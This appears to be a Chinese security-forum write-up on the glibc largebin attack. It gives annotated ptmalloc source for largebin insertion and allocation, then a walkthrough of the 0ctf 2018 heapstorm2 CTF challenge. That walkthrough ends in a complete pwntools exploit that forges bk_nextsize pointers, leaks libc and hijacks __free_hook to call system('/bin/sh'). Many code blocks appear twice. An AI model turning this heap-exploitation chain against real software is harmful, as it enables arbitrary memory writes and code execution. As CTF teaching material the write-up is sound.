-
-
[原创]Largebin attack总结
-
发表于: 2020-10-3 11:06 17452
-
咕咕咕好几天的largebin attack来力
largebin管理的是一个范围区间的堆块,此时fd_nextsize与bk_nextsize就派上了用场。
大小对应相同index中的堆块,其在链表中的排序方式为:
貌似就是取expr表达式的值。
宏 bin_at(m, i) 通过 bin index 获得 bin 的链表头,m 指的是分配区,i 是索引
mark_bin 设置第 i 个 bin 在 binmap 中对应的 bit 位为 1
一共有 128 个 bin,0 和 127 不算,也就是有 126 个 bin,其中第一个 bin 是 unsorted_bin
binmap 字段是一个 int 数组,ptmalloc 用一个 bit 来标识该 bit 对应的 bin 中是否包含空闲 chunk
贴一下插入过程大佬的总结:
贴一下申请过程大佬的总结:
当利用bk_nextsize反向遍历双链表时,如果我们可以伪造堆头节点的bk_nextsize,让其指向一个evil内存地址,然后我们 在evil_addr上构造了相应的数据以通过unlink,会将该空间返回申请到非预期的内存
绕过unlink最简单 的就是fd与bk按照smallbin的unlink方式设置,然后两个nextsize指针都为null
下面贴上大佬的解释:
问题出现在通过bk_nextsize反向遍历双链表的过程,如果能够伪造某个堆头结点中的bk_nextsize,将其指向非预期的内存地址,构造好数据使得非预期内存地址在通过unlink的检查之后,会将该空间返回给用户,最终使得可以申请出非预期的内存。最常见的就是用它来构造overlap chunk。
至于绕过unlink的检查,我认为最好的方式就是伪造的内存空间将fd与bk按照smallbinunlink的利用方式设置,而将bk_nextsize和fd_nextsize设置成0,这样就不会对这两个字段进行操作了。
典型的应用场景为:存在四个堆ABCD,largebin中存在链表A->B,其中A为0x420,B为0x400,C为0x410,C未释放。将B的bk_nextsize伪造指向C,同时将C的fd与bk构造好,将C的fd_nextsize与bk_nextsize赋值为0,当再次申请0x410大小的内存E时,遍历B->bk_nextsize会指向C,且C的大小满足需求,因此会调用unlink将C从双链表取下,因此申请出来的堆块E的地址会为C的地址,即E和C为同一内存块,实现overlap chunk的构造。
本题是典型的house of storm,可以做一个任意写+一个任意申请,威力还是相当给力的。
mallopt(M_MXFAST,0)将global_max_fast设置为0,这个值的意思是最大为多大的chunk归fastbin管理,设置为0表示这个程序中不再存在fastbin。即本程序禁用了fastbin。

在edit函数中有一个off-by-null

剩下的就是一个常用的uaf。
首先我们造两个overlap到unsortedbin里。(overlap的过程我就先不说了,可以做前向合并可以做后向合并)
然后我们add(0x4e8),从unsortedbin的尾部向前遍历,将size为0x4e0的放入largebin,返回size为0x4f0的:
然后再把0x4e8的放进unsortedbin
此时largebin中的chunk是大于unsortedbin中的chunk的,那么fwd此时就应该指向0x1002035c0这一个chunk,victim是unsortedbin中的chunk。
我们再进行如下操作:
此时unsortedbin中的chunk的bk指针被劫持指向我们的fakechunk,如果我们再add(0x48)时,程序首先在fastbin和smallbin中找空闲的chunk,但是没有,于是去unsortedbin中找,第一次找到大小为0x4f0的,这个大小肯定是不对的,但是检测到unsortedbin中还有一个chunk(即我们劫持bk指针后指向的fakechunk)并不会对大小为0x4f0的chunk做切割,而是直接做sorted,即插入largebin(此时触发largebin attack给fakechunk写上一个size)。然后系统顺着我们劫持的bk指针找,找到了我们的fakechunk,此时的fakechunk是有size的,然后系统去检验他的size,发现除去标志位刚好是0x50,那么就把fake chunk返回给我们。

然后add一次0x48(由于calloc的检查,此处被错位写上去的size必须要是0x56,多爆破几次)
除去标志位0x56就是0x50了,我们申请0x48,会返回这个fake_chunk

然后我们写一个while爆破一下:

可以看到此时爆破成功,我们通过修改表中相关内容:
来bypass掉show时候的验证:
此时就可以正常使用show了。
其实主要就是伪造一系列的结构,感觉这个比之前的那个要麻烦一些
一开始的largebin情况如下:
以下这张图充分还原了largebin的攻击过程,达到一次任意地址申请+overlap

我们再将两个0x80的放入fastbin连接起来:
当我们再进行一次add的时候:首先把fastbin中的chunk放入smallbin;然后触发largebin attack申请出我们伪造的fakechunk
效果如下:
smallbin也是头插尾取,再add一次,取出smallbin的最后一个:
此时在smallbin中的chunk里有指向main_arena的指针,且这个chunk刚好在我们的fakechunk下面不远,直接可以show出来

之后我们手动恢复chunk结构。
最后使用fastbin attack劫持unsortbin中的top chunk指向free_hook-0xb58,然后改freehook为system。
一般结束后会放到smallbin中
1、首先将与该块相邻的下一块的PREV_INUSE置为1。
2、如果相邻的上一块为free,则合并,再判断相邻的下一块是否free,若free,则合并。
3、不管是否完成合并,都会把fastbin或者完成合并以后的bin放到unsortbin中。(如果与top chunk相邻,则合并到top chunk中)这点尤其要注意,这也是为什么可以泄漏出libc基地址的原因。(注意,这里代表,即使没有发生合并,也会将对应的fastbin的chunk放入unosrtedbin,比如我们有一个0x60、一个0x80、他们物理上不相邻,但都处于free状态,那么合并时他们俩都会被放入unsortedbin。)
ee5K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2B7K9h3q4F1M7$3S2#2i4K6u0W2j5$3!0E0i4K6u0r3M7q4)9J5c8X3b7K6k6X3c8W2k6X3j5^5y4U0R3K6k6R3`.`.
facK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4K9h3E0A6i4K6u0W2P5o6p5H3M7$3g2U0i4K6u0W2L8%4u0Y4i4K6u0r3M7s2N6F1i4K6u0r3K9r3g2S2M7q4)9J5c8X3S2W2j5i4m8Q4y4h3k6A6L8i4m8D9k6h3#2W2L8Y4c8S2N6r3W2G2L8W2)9#2k6X3c8W2N6r3q4A6L8s2y4Q4x3V1k6Q4x3U0y4D9j5i4u0Y4k6g2)9J5k6r3u0A6L8R3`.`.
291K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5P5W2)9J5k6h3q4D9K9i4W2#2L8W2)9J5k6h3y4G2L8g2)9J5c8Y4c8Q4x3V1j5#2x3e0M7%4i4K6y4r3j5h3y4U0L8%4g2F1N6s2c8J5j5h3y4W2K9h3c8Q4x3@1c8S2y4h3x3H3j5U0R3%4x3$3b7@1x3r3f1@1y4o6g2X3z5e0m8S2x3X3t1H3j5e0N6W2z5r3y4V1k6e0c8S2y4r3k6C8j5h3@1`.
https://bbs.pediy.com/thread-257742.htm
#define in_smallbin_range(sz) ((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
#define NSMALLBINS 64#define SMALLBIN_WIDTH MALLOC_ALIGNMENT#define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > 2 * SIZE_SZ)#define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)#define in_smallbin_range(sz) ((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
#define NSMALLBINS 64#define SMALLBIN_WIDTH MALLOC_ALIGNMENT#define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > 2 * SIZE_SZ)#define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)size index[0x400 , 0x440) 64
[0x440 , 0x480) 65
[0x480 , 0x4C0) 66
[0x4C0 , 0x500) 67
[0x500 , 0x540) 68
等差 0x40 …
[0xC00 , 0xC40) 96
[0xC40 , 0xE00) 97
[0xE00 , 0x1000) 98
[0x1000 , 0x1200) 99
[0x1200 , 0x1400) 100
[0x1400 , 0x1600) 101
等差 0x200 …
[0x2800 , 0x2A00) 111
[0x2A00 , 0x3000) 112
[0x3000 , 0x4000) 113
[0x4000 , 0x5000) 114
等差 0x1000 …
[0x9000 , 0xA000) 119
[0xA000 , 0x10000) 120
[0x10000 , 0x18000) 121
[0x18000 , 0x20000) 122
[0x20000 , 0x28000) 123
[0x28000 , 0x40000) 124
[0x40000 , 0x80000) 125
[0x80000 , …. ) 126
size index[0x400 , 0x440) 64
[0x440 , 0x480) 65
[0x480 , 0x4C0) 66
[0x4C0 , 0x500) 67
[0x500 , 0x540) 68
等差 0x40 …
[0xC00 , 0xC40) 96
[0xC40 , 0xE00) 97
[0xE00 , 0x1000) 98
[0x1000 , 0x1200) 99
[0x1200 , 0x1400) 100
[0x1400 , 0x1600) 101
等差 0x200 …
[0x2800 , 0x2A00) 111
[0x2A00 , 0x3000) 112
[0x3000 , 0x4000) 113
[0x4000 , 0x5000) 114
等差 0x1000 …
[0x9000 , 0xA000) 119
[0xA000 , 0x10000) 120
[0x10000 , 0x18000) 121
[0x18000 , 0x20000) 122
[0x20000 , 0x28000) 123
[0x28000 , 0x40000) 124
[0x40000 , 0x80000) 125
[0x80000 , …. ) 126
# define __builtin_expect(expr, val) (expr)# define __builtin_expect(expr, val) (expr)#define bin_at(m, i) \ (mbinptr) (((char *) &((m)->bins[((i) - 1) * 2])) \
- offsetof (struct malloc_chunk, fd))
#define bin_at(m, i) \ (mbinptr) (((char *) &((m)->bins[((i) - 1) * 2])) \
- offsetof (struct malloc_chunk, fd))
#define mark_bin(m, i) ((m)->binmap[idx2block (i)] |= idx2bit (i))#define mark_bin(m, i) ((m)->binmap[idx2block (i)] |= idx2bit (i))#define NBINS 128#define BINMAPSHIFT 5#define BITSPERMAP (1U << BINMAPSHIFT) // 32#define BINMAPSIZE (NBINS / BITSPERMAP)// 128 / 32 = 4unsigned int binmap[BINMAPSIZE]; // 32b * 4 = 128b
#define NBINS 128#define BINMAPSHIFT 5#define BITSPERMAP (1U << BINMAPSHIFT) // 32#define BINMAPSIZE (NBINS / BITSPERMAP)// 128 / 32 = 4unsigned int binmap[BINMAPSIZE]; // 32b * 4 = 128b
/* place chunk in bin */
if (in_smallbin_range (size)) //如果是smallbin的大小就放到smallbin
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else //如果是largebin的大小,那么:
{
victim_index = largebin_index (size);//根据size获取对应的largebin索引
bck = bin_at (av, victim_index); //获取largebin表头
fwd = bck->fd; //获取对应索引largebin的第一个chunk(循环链表的head->next)
/* maintain large bins in sorted order */
if (fwd != bck) //当第一个不等于最后一个(即当前的largebin不空)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk)); //是否在main_arena?(主线程)
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))//bck->bk储存的是当前索引的largebin中大小最小的chunk,如果我们要插入的chunk比这个大小还小,那么就要插入largebin的尾部。
{
fwd = bck; //fwd此时为largebin表头
bck = bck->bk; //bck设置为largebin中最后一个的chunk
victim->fd_nextsize = fwd->fd;//由于我们要插入的在末尾,比他小的就是循环回去的第一个chunk
victim->bk_nextsize = fwd->fd->bk_nextsize;//比他大的就是之前的最小的那个
//原来链表的第一个chunk的bk指向此时新插入的最后一个chunk
fwd->fd->bk_nextsize =
victim->bk_nextsize->fd_nextsize = victim;
}
// 如果不是插入尾部,那么我们要找到这个chunk应该插入的位置
else
{
assert (chunk_main_arena (fwd));
//使用这个while循环尝试从链表头部开始遍历,直到找到一个比victim大或等于的chunk退出while
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize; //取下一个
assert (chunk_main_arena (fwd));//检查分配区
}
//如果找到了跟他想等的
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;//直接将victim插入他的后面(通过fd),不修改nextsize指针。
//如果大小不一样(即此时fwd是相邻的大于victim的chunk)
//需要构造nextsize双向链表,构造新节点,victim作为堆头
else
{
//比victim小的指向fwd
//比victim大的指向fwd的bk_nextsize(比fwd大的那个)
//相当于插入了fwd与fwd->bk_nextsize之间
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))//检查size链完整性
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
//对应的去改fwd的相关指针成链
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
//插入完成
}
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;//此时victim为唯一的chunk,也要做循环链表
}
//放到对应的 bin 中,构成 bk<-->victim<-->fwd。
mark_bin (av, victim_index); //标识bitmap
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
/* place chunk in bin */
if (in_smallbin_range (size)) //如果是smallbin的大小就放到smallbin
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else //如果是largebin的大小,那么:
{
victim_index = largebin_index (size);//根据size获取对应的largebin索引
bck = bin_at (av, victim_index); //获取largebin表头
fwd = bck->fd; //获取对应索引largebin的第一个chunk(循环链表的head->next)
/* maintain large bins in sorted order */
if (fwd != bck) //当第一个不等于最后一个(即当前的largebin不空)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk)); //是否在main_arena?(主线程)
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))//bck->bk储存的是当前索引的largebin中大小最小的chunk,如果我们要插入的chunk比这个大小还小,那么就要插入largebin的尾部。
{
fwd = bck; //fwd此时为largebin表头
bck = bck->bk; //bck设置为largebin中最后一个的chunk
victim->fd_nextsize = fwd->fd;//由于我们要插入的在末尾,比他小的就是循环回去的第一个chunk
victim->bk_nextsize = fwd->fd->bk_nextsize;//比他大的就是之前的最小的那个
//原来链表的第一个chunk的bk指向此时新插入的最后一个chunk
fwd->fd->bk_nextsize =
victim->bk_nextsize->fd_nextsize = victim;
}
// 如果不是插入尾部,那么我们要找到这个chunk应该插入的位置
else
{
assert (chunk_main_arena (fwd));
//使用这个while循环尝试从链表头部开始遍历,直到找到一个比victim大或等于的chunk退出while
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize; //取下一个
assert (chunk_main_arena (fwd));//检查分配区
}
//如果找到了跟他想等的
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;//直接将victim插入他的后面(通过fd),不修改nextsize指针。
//如果大小不一样(即此时fwd是相邻的大于victim的chunk)
//需要构造nextsize双向链表,构造新节点,victim作为堆头
else
{
//比victim小的指向fwd
//比victim大的指向fwd的bk_nextsize(比fwd大的那个)
//相当于插入了fwd与fwd->bk_nextsize之间
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))//检查size链完整性
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
//对应的去改fwd的相关指针成链
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
//插入完成
}
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;//此时victim为唯一的chunk,也要做循环链表
}
//放到对应的 bin 中,构成 bk<-->victim<-->fwd。
mark_bin (av, victim_index); //标识bitmap
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
/*
If a large request, scan through the chunks of current bin in
sorted order to find smallest that fits. Use the skip list for this.
*/
if (!in_smallbin_range (nb))//如果不在samllbin大小中
{
bin = bin_at (av, idx); //找到申请的size对应的largebin链表
/* skip scan if empty or largest chunk is too small */
if ((victim = first (bin)) != bin && //此时victim为链表的第一个节点
(unsigned long) (victim->size) >= (unsigned long) (nb)) //第一步,判断链表的第一个结点,即最大的chunk是否大于要申请的size
{
//进入这里时,已经确定链表第一个节点——即最大的chunk大于要申请的size,那么我们就应该从这一条链中取,问题就是取这一条链上的哪一个?
victim = victim->bk_nextsize; //本来victim是链中最大的那个,现在我们要从小往遍历,那么victim->bk_nextsize就循环回了链中最小的那个
while (((unsigned long) (size = chunksize (victim)) <
(unsigned long) (nb))) //第二步,从最小的chunk开始,反向遍历 chunk size链表,直到找到第一个大于等于所需chunk大小的chunk退出循环
victim = victim->bk_nextsize;//victim取相邻的更大size的chunk
/* Avoid removing the first entry for a size so that the skip
list does not have to be rerouted. */
if (victim != last (bin) && victim->size == victim->fd->size) //第三步,申请的chunk对应的chunk存在多个结点,则申请相应堆头的下个结点,不申请堆头。
victim = victim->fd; //出现相同大小时堆头作为次优先申请
remainder_size = size - nb;
unlink (av, victim, bck, fwd); //第四步,largebin unlink 操作
/* Exhaust */
if (remainder_size < MINSIZE) //第五步,如果剩余的空间小于MINSIZE,则将该空间直接给用户
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
}
/* Split */
else
{
remainder = chunk_at_offset (victim, nb); //第六步,如果当前剩余空间还可以构成chunk,则将剩余的空间放入到unsorted bin中(切割后)。
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks (av);//bck是ub头
fwd = bck->fd; //fwd是ub第一个chunk
if (__glibc_unlikely (fwd->bk != bck))
{
errstr = "malloc(): corrupted unsorted chunks";
goto errout;
}
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
//以上操作完成后lastremainder被插入ub,成为新的链首元素
//如果不在smallbin范围,那么nextsize指针置空
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
}
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
/*
If a large request, scan through the chunks of current bin in
sorted order to find smallest that fits. Use the skip list for this.
*/
if (!in_smallbin_range (nb))//如果不在samllbin大小中
{
bin = bin_at (av, idx); //找到申请的size对应的largebin链表
/* skip scan if empty or largest chunk is too small */
if ((victim = first (bin)) != bin && //此时victim为链表的第一个节点
(unsigned long) (victim->size) >= (unsigned long) (nb)) //第一步,判断链表的第一个结点,即最大的chunk是否大于要申请的size
{
//进入这里时,已经确定链表第一个节点——即最大的chunk大于要申请的size,那么我们就应该从这一条链中取,问题就是取这一条链上的哪一个?
victim = victim->bk_nextsize; //本来victim是链中最大的那个,现在我们要从小往遍历,那么victim->bk_nextsize就循环回了链中最小的那个
while (((unsigned long) (size = chunksize (victim)) <
(unsigned long) (nb))) //第二步,从最小的chunk开始,反向遍历 chunk size链表,直到找到第一个大于等于所需chunk大小的chunk退出循环
victim = victim->bk_nextsize;//victim取相邻的更大size的chunk
/* Avoid removing the first entry for a size so that the skip
list does not have to be rerouted. */
if (victim != last (bin) && victim->size == victim->fd->size) //第三步,申请的chunk对应的chunk存在多个结点,则申请相应堆头的下个结点,不申请堆头。
victim = victim->fd; //出现相同大小时堆头作为次优先申请
remainder_size = size - nb;
unlink (av, victim, bck, fwd); //第四步,largebin unlink 操作
/* Exhaust */
if (remainder_size < MINSIZE) //第五步,如果剩余的空间小于MINSIZE,则将该空间直接给用户
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
}
/* Split */
else
{
remainder = chunk_at_offset (victim, nb); //第六步,如果当前剩余空间还可以构成chunk,则将剩余的空间放入到unsorted bin中(切割后)。
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks (av);//bck是ub头
fwd = bck->fd; //fwd是ub第一个chunk
if (__glibc_unlikely (fwd->bk != bck))
{
errstr = "malloc(): corrupted unsorted chunks";
goto errout;
}
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
//以上操作完成后lastremainder被插入ub,成为新的链首元素
//如果不在smallbin范围,那么nextsize指针置空
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
}
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
if ((victim = first (bin)) != bin &&
(unsigned long) (victim->size) >= (unsigned long) (nb)) //判断链表的第一个结点,即最大的chunk是否大于要申请的size
{
victim = victim->bk_nextsize;
while (((unsigned long) (size = chunksize (victim)) <
(unsigned long) (nb))) //从最小的chunk开始,反向遍历 chunk size链表,直到找到第一个大于等于所需chunk大小的chunk退出循环
victim = victim->bk_nextsize; //漏洞点,伪造bk_nextsize
if (victim != last (bin) && victim->size == victim->fd->size) //申请的chunk对应的chunk存在多个结点,则申请相应堆头的下个结点,不申请堆头。
victim = victim->fd;
remainder_size = size - nb;
unlink (av, victim, bck, fwd); //largebin unlink 操作
...
return p;
if ((victim = first (bin)) != bin &&
(unsigned long) (victim->size) >= (unsigned long) (nb)) //判断链表的第一个结点,即最大的chunk是否大于要申请的size
{
victim = victim->bk_nextsize;
while (((unsigned long) (size = chunksize (victim)) <
(unsigned long) (nb))) //从最小的chunk开始,反向遍历 chunk size链表,直到找到第一个大于等于所需chunk大小的chunk退出循环
victim = victim->bk_nextsize; //漏洞点,伪造bk_nextsize
if (victim != last (bin) && victim->size == victim->fd->size) //申请的chunk对应的chunk存在多个结点,则申请相应堆头的下个结点,不申请堆头。
victim = victim->fd;
remainder_size = size - nb;
unlink (av, victim, bck, fwd); //largebin unlink 操作
...
return p;
...//将largebin从unsorted bin中取下
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
...
//如果大小不一样(即此时fwd是相邻的大于victim的chunk)
//需要构造nextsize双向链表,构造新节点,victim作为堆头
//否则这个chunk将会成为堆头,`bk_nextsize`和`fd_nextsize`将被置位
//比victim小的指向fwd(fd_nextsize)
//比victim大的指向fwd的bk_nextsize(比fwd大的那个)
//相当于插入了fwd与fwd->bk_nextsize之间
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize; //由于fwd->bk_nextsize可控,因此victim->bk_nextsize可控
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim; //victim->bk_nextsize可控,因此实现了往任意地址写victim的能力
}
bck = fwd->bk; //由于fwd->bk可控,因此bck可控
...
mark_bin (av, victim_index);
//设置fd与bk完成插入
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim; //bck可控,因此实现了往任意地址写victim的能力
...
}
...//将largebin从unsorted bin中取下
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
...
//如果大小不一样(即此时fwd是相邻的大于victim的chunk)
//需要构造nextsize双向链表,构造新节点,victim作为堆头
//否则这个chunk将会成为堆头,`bk_nextsize`和`fd_nextsize`将被置位
//比victim小的指向fwd(fd_nextsize)
//比victim大的指向fwd的bk_nextsize(比fwd大的那个)
//相当于插入了fwd与fwd->bk_nextsize之间
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize; //由于fwd->bk_nextsize可控,因此victim->bk_nextsize可控
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim; //victim->bk_nextsize可控,因此实现了往任意地址写victim的能力
}
bck = fwd->bk; //由于fwd->bk可控,因此bck可控
...
mark_bin (av, victim_index);
//设置fd与bk完成插入
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim; //bck可控,因此实现了往任意地址写victim的能力
...
}
if ( !mallopt(1, 0) )
exit(-1);
if ( !mallopt(1, 0) )
exit(-1);
unsortbin: 0x100203060 (size : 0x4f0) <--> 0x1002035c0 (size : 0x4e0)
unsortbin: 0x100203060 (size : 0x4f0) <--> 0x1002035c0 (size : 0x4e0)
unsortbin: 0x0
largebin[ 3]: 0x1002035c0 (size : 0x4e0)
unsortbin: 0x0
largebin[ 3]: 0x1002035c0 (size : 0x4e0)
unsortbin: 0x100203060 (size : 0x4f0)
largebin[ 3]: 0x1002035c0 (size : 0x4e0)
unsortbin: 0x100203060 (size : 0x4f0)
largebin[ 3]: 0x1002035c0 (size : 0x4e0)
storge = 0x13370800
fake_chunk = storge-0x20
p1 = p64(0)*3+p64(0x4f1)+p64(0)+p64(fake_chunk)
edit(7,p1) # 劫持unsortfbin中chunk的bk指针指向fakechunk
p2 = p64(0)*4+p64(0)+p64(0x4e1)
p2 += p64(0)+p64(fake_chunk+8) # 劫持在largebin中chunk的bk指针避免unlink时崩溃
p2 += p64(0)+p64(fake_chunk-0x18-5) # 劫持在largebin中chunk的bk_nextsize指针
edit(8,p2)
storge = 0x13370800
fake_chunk = storge-0x20
p1 = p64(0)*3+p64(0x4f1)+p64(0)+p64(fake_chunk)
edit(7,p1) # 劫持unsortfbin中chunk的bk指针指向fakechunk
p2 = p64(0)*4+p64(0)+p64(0x4e1)
p2 += p64(0)+p64(fake_chunk+8) # 劫持在largebin中chunk的bk指针避免unlink时崩溃
p2 += p64(0)+p64(fake_chunk-0x18-5) # 劫持在largebin中chunk的bk_nextsize指针
edit(8,p2)
add(0x48) # 2,largebin attack触发
add(0x48) # 2,largebin attack触发
p3 = p64(0)*5+p64(0x13377331)+p64(storage)
edit(2,p3)
p3 = p64(0)*5+p64(0x13377331)+p64(storage)
edit(2,p3)
if ( (chunk_list[1].size ^ chunk_list[1].addr) != 0x13377331 )
return puts("Permission denied");
if ( (chunk_list[1].size ^ chunk_list[1].addr) != 0x13377331 )
return puts("Permission denied");
# encoding=utf-8from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
elf_path = "./0ctf_2018_heapstorm2"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)if sys.argv[1]=='1':
context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})cho='Command: ' # choice提示语
siz='Size: ' # size输入提示语
con='Content: ' # content输入提示语
ind='Index: ' # index输入提示语
edi='' # edit输入提示语
def add(size,c='1'):
sal(cho,c)
sal(siz,str(size))
def free(index,c='3'):
sal(cho,c)
sal(ind,str(index))
def show(index,c='4'):
sal(cho,c)
sal(ind,str(index))
def edit(index,content='',c='2'):
sal(cho,c)
sal(ind,str(index))
sal(siz,str(len(content)))
sa(con,content)
# 获取pie基地址def get_proc_base(p):
proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
info(hex(proc_base))
# 获取libc基地址 def get_libc_base(p):
libc_base = p.libs()[libc_path]
info(hex(libc_base))
while(1):
try:
# get_proc_base(io)
# get_libc_base(io)
global io
io = process(elf_path)
#io = remote("node3.buuoj.cn",29327)
add(0x18) # 0
add(0x508) # 1
add(0x18) # 2
edit(1,'a'*0x4f0+p64(0x500)) # 设置fake_pre_size
add(0x18) # 3
add(0x508) # 4
add(0x18) # 5
edit(4,'a'*0x4f0+p64(0x500)) # 设置fake_pre_size
add(0x18) # 6
free(1)
edit(0,'a'*(0x18-0xc)) # 对free后的1做off-by-null,造成chunk收缩
add(0x18) # 1
add(0x4d8) # 7 # 将0ff-by-null收缩后的freechunk分两次申请出来
free(1)
free(2) # 触发后向合并:0x508+0x18
# 将合并后大小为0x538的freechunk重新构造成0x38和0x4e8
add(0x38) # 1
add(0x4e8) # 2
free(4)
edit(3,'a'*(0x18-12))
add(0x18) # 4
add(0x4d8) # 8
free(4)
free(5) # 后向合并造出0x530的freechunk
add(0x48) # 4
free(2) # unsortbin: 0x100203060 (size : 0x4f0) <--> 0x1002035c0 (size : 0x4e0)
add(0x4e8) # 2
free(2) # 把0x4f0的放回到unsortedbin
storage = 0x13370800
fake_chunk = storage-0x20
p1 = p64(0)*3+p64(0x4f1)+p64(0)+p64(fake_chunk)
edit(7,p1) # 劫持unsortfbin中chunk的bk指针指向fakechunk
p2 = p64(0)*4+p64(0)+p64(0x4e1)
p2 += p64(0)+p64(fake_chunk+8) # 劫持在largebin中chunk的bk指针避免unlink时崩溃
p2 += p64(0)+p64(fake_chunk-0x18-4) # 劫持在largebin中chunk的bk_nextsize指针
edit(8,p2)
add(0x48) # 2,largebin attack触发,返回我们伪造位置的节点
p3 = p64(0)*5+p64(0x13377331)+p64(storage)#构造show函数的条件
edit(2,p3)
pause()
p4 = p64(0)*3+p64(0x13377331)+p64(storage)+p64(0x1000)+p64(storage-0x20+3)+p64(8)
edit(0,p4) # 重新回写table,改掉对应表项为真实的ptr-size,而非异或后的,同时改那表头四个随机数为0,这样我们在xor的时候返回的就是地址/size真正的值了。
show(1) # 输出我们largebin attack错位写在fakechunk上的地址来那道heap地址
r(11)
heap = u64(r(5).ljust(8,'\x00'))
info("heap:"+hex(heap))
p5 = p64(0)*3+p64(0x13377331)+p64(storage)+p64(0x1000)+p64(heap+0x10)+p64(8) #泄露main_arena
edit(0,p5)
#shell()
show(1)
libc_base = int(u64(ru('\x7f')[-6:].ljust(8,'\x00')))-88-libc.sym['__malloc_hook']-0x10
print hex(libc_base)
system = libc_base+libc.sym['system']
free_hook = libc_base+libc.sym['__free_hook']
print (hex(system),hex(free_hook))
p6 = p64(0)*3+p64(0x13377331)+p64(storage)+p64(0x1000)+p64(free_hook)+p64(0x1000)+p64(storage+0x50)+p64(0x100)+'/bin/sh\x00'
edit(0,p6)
edit(1,p64(system))
free(2)
shell()
